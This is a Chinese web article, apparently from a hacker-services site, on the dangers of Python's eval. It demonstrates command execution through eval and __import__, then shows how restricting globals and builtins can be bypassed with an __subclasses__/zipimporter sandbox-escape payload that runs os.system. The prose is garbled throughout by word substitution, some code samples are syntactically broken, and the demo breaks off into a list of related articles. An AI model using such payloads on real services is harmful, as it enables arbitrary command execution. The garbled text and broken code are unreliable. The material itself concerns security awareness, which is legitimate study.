Python中eval带来的潜在危险

访客6年前黑客资讯882

eval是Python用于履行python表达式的一个内置函数,运用eval,能够很便利的将字符串动态履行。比方下列代码:
>>> eval("1+2")
>>> eval("[x for x in range(10)]")
[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
当内存中的内置模块含有os的话,eval相同能够做到指令履行:
>>> import os
>>> eval("os.system('whoami')")
win-20140812chjadministrator
当然,eval只能履行Python的表达式类型的代码,不能直接用它进行import操作,但exec能够。假如非要运用eval进行import,则运用__import__:
>>> exec('import os')
>>> eval('import os')
Traceback (most recent call last):
  File "", line 1, in module>
  File "", line 1
    import os
         ^
SyntaxError: invalid syntax
>>> eval("__import__('os').system('whoami')")
win-20140812chjadministrator
在实践的代码中,往往有运用客户端数据带入eval中履行的需求。比方动态模块的引进,举个栗子,一个在线爬虫渠道上爬虫或许有多个而且坐落不同的模块中,服务器端但往往只需要调用用户在客户端挑选的爬虫类型,并经过后端的exec或许eval进行动态调用,后端编码完成十分便利。但假如对用户的恳求处理不恰当,就会形成严峻的安全漏洞。
0x01 “安全”运用eval
现在发起最多的便是运用eval的后两个参数来设置函数的白名单:Eval函数的声明为eval(expression[, globals[, locals]])其间,第二三个参数别离指定能够在eval中运用的函数等,假如不指定,默以为globals()和locals()函数中 包括的模块和函数。
>>> import os
>>> 'os' in globals()
True
>>> eval('os.system('whoami')')
win-20140812chjadministrator
0
>>> eval('os.system('whoami')',{},{})
Traceback (most recent call last):
  File "", line 1, in module>
  File "", line 1, in module>
NameError: name 'os' is not defined
假如指定只允许调用abs函数,能够运用下面的写法:
>>> eval('abs(-20)',{'abs':abs},{'abs':abs})
20
>>> eval('os.system('whoami')',{'abs':abs},{'abs':abs})
Traceback (most recent call last):
  File "", line 1, in module>
  File "", line 1, in module>
NameError: name 'os' is not defined
>>> eval('os.system('whoami')')
win-20140812chjadministrator
运用这种办法来防护,的确能够起到必定的效果,可是,这种处理办法或许会被绕过,然后形成其他问题!
0x02 绕过履行代码1
被绕过的情形如下,小明知道了eval会带来必定的安全危险,所以运用如下的手法去避免eval履行恣意代码:
env = {}
env["locals"]   = None
env["globals"]  = None
env["__name__"] = None
env["__file__"] = None
env["__builtins__"] = None
 
eval(users_str, env)
Python中的__builtins__是内置模块,用来设置内置函数的模块。比方了解的abs,open等内置函数,都是在该模块中以字典的办法存储的,下面两种写法是等价的:
>>> __builtins__.abs(-20)
20
>>> abs(-20)
20
咱们也能够自定义内置函数,并像运用Python中的内置函数相同运用它们:
>>> def hello():
...     print 'shabi'
>>> __builtin__.__dict__['say_hello'] = hello
>>> say_hello()
shabi
小明将eval函数的效果域中的内置模块设置为None,如同看起来很完全了,但仍然能够被绕过。__builtins__是__builtin__的一个引证,在__main__模块下,两者是等价的:
>>> id(__builtins__)
3549136
>>> id(__builtin__)
3549136
依据黑客接单渠道drops说到的办法,运用如下代码即可:
[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == "zipimporter"][0]("/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg").load_module("configobj").os.system("uname")
上面的代码首要运用__class__和__subclasses__动态加载了object目标,这是由于eval中无法直接运用object。然后运用object的子类的zipimporter对egg压缩文件中的configobj模块进行导入,并调用其内置模块中的os模块然后完成指令履行,当然,条件是要有configobj的egg文件。configobj模块很有意思,竟然内置了os模块:
>>> "os" in configobj.__dict__
True
>>> import urllib
>>> "os" in urllib.__dict__
True
>>> import urllib2
>>> "os" in urllib2.__dict__
True
>>> configobj.os.system("whoami")
win-20140812chjadministrator
和configobj相似的模块如urllib,urllib2,setuptools等都有os的内置,理论上运用哪个都行。假如无法下载egg压缩文件,能够下载带有setup.py的文件夹,参加:
from setuptools import setup, find_packages
然后履行:
python setup.py bdist_egg
就能够在dist文件夹中找到对应的egg文件。绕过demo如下:
>>> env = {}
>>> env["locals"]   = None
>>> env["globals"]  = None
>>> env["__name__"] = None

[1] [2] [3]  黑客接单网

相关文章

对DOTNET(.NET)中的歹意长途拜访进程进行剖析(下)

上一篇说到代码会有许多重复,由于它在每个if句子(共有五个if句子,会在下篇讲到)中都会调用一个函数。但是,细节却略有不同,其间给定的办法称号和函数的参数都会显现函数的内容。 第一个if句子在程序会集...

怎么全面防护Webshell(下)?

 在进行查询时,最要害的部分之一是找到黑客的进口点,尤其是当运维团队将受进犯的服务器康复正常后,咱们意识到有许多的服务器现已被各种webshell、rootkits和暗码导出东西感染时。 需求快速的...

看我怎么编写一个验证码辨认程序

在此之前我收到了一些读者对我的反应,他们期望我能够在文中解说相关解析器的开发流程。为了满意我们的需求,我决议和你们共享一个我非常重要的项目的完好施行进程。话不多说,让我们现在就开端! 当我开发这些脚本...

百度浏览器的隐私安全问题剖析

首要发现 百度阅读器是微柔和安卓渠道上的一种网络阅读器,个人用户在向服务器传输数据时进行加密,就算加密了也很简略被解密。阅读器更新时或许很轻易地被中心攻击者运用,履行恣意代码。 安卓版别的百度阅读器...

怎么避免网站要害数据被人歹意收集

 昨天晚上花了几个小时用Jsoup写了一个网站收集器,帮一个高中同学收集了一个工业信息门户上的芯片待售信息。网站上显现的数据多达60w+条, 我写的程序跑了7个小时只收集了一半,算是能够交差了。 这现...

Apple iCloud帐户的破解与保护攻防战-黑客接单平台

不管你是履行桌面仍是云取证,云端数据都将成为越来越重要依据来历,而且有时是仅有依据来历。即便你不从事取证作业,云拜访也能够协助你拜访已删去或以其他办法无法拜访的数据。 与智能手机或受暗码维护的桌面相似...